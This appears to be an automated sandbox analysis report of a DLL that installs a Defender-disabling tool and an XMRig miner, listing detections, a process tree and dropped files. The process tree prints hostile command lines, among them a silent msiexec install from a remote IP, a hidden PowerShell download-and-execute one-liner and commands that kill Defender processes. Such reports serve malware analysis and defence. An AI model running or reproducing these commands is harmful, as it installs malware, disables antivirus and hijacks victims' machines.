Analysis

  • max time kernel
    148s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    04/11/2026, 18:10

General

  • Target
    10337cbc8d590eddac88b7088cea89f32dda57a69651f7cf99af04f994136ceb.dll
  • Size 66KB
  • Sample261104-wscc9aev4m
  • SHA256 10337cbc8d590eddac88b7088cea89f32dda57a69651f7cf99af04f994136ceb
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: Defendnot

    Defendnot is a tool designed to disable Microsoft Defender.

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Detects Defendnot 1 IoCs
  • XMRig Miner payload 2 IoCs
  • Badlisted process makes network request 7 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 13 IoCs
  • Loads dropped DLL 9 IoCs
  • Use of msiexec (install) with remote resource 1 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 10 IoCs
  • Drops file in Windows directory 20 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\10337cbc8d590eddac88b7088cea89f32dda57a69651f7cf99af04f994136ceb.dll,#1
    1⤵
    • Badlisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:2660
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "msiexec /q /i http://46.151.182.18/8845a.msi"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4384
      • C:\Windows\system32\msiexec.exe
        msiexec /q /i http://46.151.182.18/8845a.msi
        3⤵
        • Use of msiexec (install) with remote resource
        • Enumerates connected drives
        • Event Triggered Execution: Installer Packages
        • Suspicious use of AdjustPrivilegeToken
        PID:5052
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Badlisted process makes network request
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3916
    • C:\Windows\Installer\MSI538.tmp
      "C:\Windows\Installer\MSI538.tmp"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3844
      • C:\windows\gaming.exe
        gaming.exe -n MpDefenderCoreService.exe
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Drops file in Windows directory
        PID:680
      • C:\windows\gaming.exe
        gaming.exe -n MpDefenderCoreService.exe
        3⤵
        • Executes dropped EXE
        • Drops file in Windows directory
        PID:4992
      • C:\windows\gaming.exe
        gaming.exe -n msmpeng.exe
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Drops file in Windows directory
        PID:5052
      • C:\windows\gaming.exe
        gaming.exe -n msmpeng.exe
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Drops file in Windows directory
        PID:2720
      • C:\windows\gaming.exe
        gaming.exe -n NisSrv.exe
        3⤵
        • Executes dropped EXE
        • Drops file in Windows directory
        PID:5044
      • C:\Windows\SYSTEM32\WinDefCtl.exe
        WinDefCtl.exe kill
        3⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        PID:4840
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; irm https://dnot.sh/ | iex
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4592
        • C:\Program Files\defendnot\defendnot-loader.exe
          "C:\Program Files\defendnot\defendnot-loader.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4288
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c pause
            5⤵
            • Executes a command shell one-liner
            PID:4004
      • C:\Windows\Temp\Update-softwaretech\nssm.exe
        nssm.exe install soft "C:\windows\Temp\Update-softwaretech\soft.exe"
        3⤵
        • Executes dropped EXE
        PID:2000
      • C:\Windows\Temp\Update-softwaretech\nssm.exe
        nssm.exe start soft
        3⤵
        • Executes dropped EXE
        PID:4688
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 77663ED2970E729AE91FCD3A7FC84BCB
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4720
  • C:\Windows\system32\cmd.exe
    cmd.exe /c echo nptbdx > \\.\pipe\nptbdx
    1⤵
    • Executes a command shell one-liner
    PID:4800
  • C:\Windows\GameDriverX64.sys
    GameDriverX64.sys
    1⤵
    • Executes dropped EXE
    PID:3688
  • C:\Windows\Temp\Update-softwaretech\nssm.exe
    C:\Windows\Temp\Update-softwaretech\nssm.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1780
    • C:\windows\Temp\Update-softwaretech\soft.exe
      "C:\windows\Temp\Update-softwaretech\soft.exe"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious use of FindShellTrayWindow
      PID:3436

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        e59041f.rbs

        • Path C:\Config.Msi\e59041f.rbs
        • Size 546B
        • SHA256 f0bf24c8d0047bb63542bbafcecf86c48d99419688d197e444e8a082bc6c2732
        • MD5 SHA1 SHA512 TLSH

        defendnot-loader.exe

        • Path C:\Program Files\defendnot\defendnot-loader.exe
        • Size 581KB
        • SHA256 f57a4dd3bd3ce82eaf6d7143e837b3fa59a0accdac76fd3dc053433efdd50e5e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_0xyqegpg.4cj.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0xyqegpg.4cj.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        GameDriverX64.sys

        • Path C:\Windows\GameDriverX64.sys
        • Size 56KB
        • SHA256 9ddae47ff968343a8c32a5344060257fdc08e2a7bdb9a227c8b3a584ee3c9f1e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI219.tmp

        • Path C:\Windows\Installer\MSI219.tmp
        • Size 156KB
        • SHA256 97217d99040290f7085476306b97e76fcd72d5ed4b369128280a04f789f5fcdb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI538.tmp

        • Path C:\Windows\Installer\MSI538.tmp
        • Size 124KB
        • SHA256 b15aac22d2f27607220db480afb9f953939a102f92b2be42e9f1ad291a2b5caf
        • MD5 SHA1 SHA512 SSDEEP TLSH

        WinDefCtl.exe

        • Path C:\Windows\System32\WinDefCtl.exe
        • Size 379KB
        • SHA256 b7ca8fd9ebe0a76f16deea315fac7ee94dcb18e6ac2832b5c4cb562fbc6e0ed3
        • MD5 SHA1 SHA512 SSDEEP TLSH

        nssm.exe

        • Path C:\Windows\Temp\Update-softwaretech\nssm.exe
        • Size 323KB
        • SHA256 f689ee9af94b00e9e3f0bb072b34caaf207f32dcb4f5782fc9ca351df9a06c97
        • MD5 SHA1 SHA512 SSDEEP TLSH

        soft.exe

        • Path C:\Windows\Temp\Update-softwaretech\soft.exe
        • Size 6.4MB
        • SHA256 98ba83a3a3839a4785edba806df6bb8c2a5d0342c764c4fa9b214ca66972b9a3
        • MD5 SHA1 SHA512 SSDEEP TLSH

        gaming.exe

        • Path C:\Windows\gaming.exe
        • Size 2.2MB
        • SHA256 c05bd90e8fe62ebdce1099b658b3f537dc7690051a550d3cf0179b52a6ea74ce
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/680-190-0x00007FF681430000-0x00007FF68155D000-memory.dmp

        memory/2720-232-0x00007FF681430000-0x00007FF68155D000-memory.dmp

        memory/3436-344-0x0000025EEC950000-0x0000025EEC970000-memory.dmp

        memory/3844-21-0x0000000000710000-0x0000000000756000-memory.dmp

        memory/3844-79-0x0000000002460000-0x0000000002492000-memory.dmp

        memory/3844-162-0x0000000000710000-0x0000000000756000-memory.dmp

        memory/3844-171-0x0000000000710000-0x0000000000756000-memory.dmp

        memory/3844-141-0x0000000000710000-0x0000000000756000-memory.dmp

        memory/3844-295-0x0000000000710000-0x0000000000756000-memory.dmp

        memory/3844-132-0x0000000000710000-0x0000000000756000-memory.dmp

        memory/3844-98-0x0000000000710000-0x0000000000756000-memory.dmp

        memory/3844-91-0x00000000025A0000-0x000000000261C000-memory.dmp

        memory/3844-28-0x0000000000710000-0x0000000000756000-memory.dmp

        memory/3844-154-0x0000000000710000-0x0000000000756000-memory.dmp

        memory/3844-145-0x0000000000710000-0x0000000000756000-memory.dmp

        memory/3844-86-0x0000000000710000-0x0000000000756000-memory.dmp

        memory/3844-331-0x0000000000710000-0x0000000000756000-memory.dmp

        memory/3844-322-0x0000000000710000-0x0000000000756000-memory.dmp

        memory/3844-318-0x0000000000710000-0x0000000000756000-memory.dmp

        memory/3844-254-0x0000000000710000-0x0000000000756000-memory.dmp

        memory/3844-256-0x0000000000710000-0x0000000000756000-memory.dmp

        memory/3844-309-0x0000000000710000-0x0000000000756000-memory.dmp

        memory/3844-305-0x0000000000710000-0x0000000000756000-memory.dmp

        memory/3844-27-0x0000000000710000-0x0000000000756000-memory.dmp

        memory/3844-13-0x0000000140000000-0x00000001400052D8-memory.dmp

        memory/4592-281-0x00000127455B0000-0x00000127456B2000-memory.dmp

        memory/4592-262-0x0000012745370000-0x0000012745382000-memory.dmp

        memory/4592-261-0x0000012745340000-0x000001274534A000-memory.dmp

        memory/4592-245-0x00000127460D0000-0x00000127465F8000-memory.dmp

        memory/4592-244-0x00000127459D0000-0x0000012745B92000-memory.dmp

        memory/4592-238-0x00000127451A0000-0x00000127451C2000-memory.dmp

        memory/4992-184-0x00007FF681430000-0x00007FF68155D000-memory.dmp

        memory/5044-233-0x00007FF681430000-0x00007FF68155D000-memory.dmp

        memory/5052-205-0x00007FF681430000-0x00007FF68155D000-memory.dmp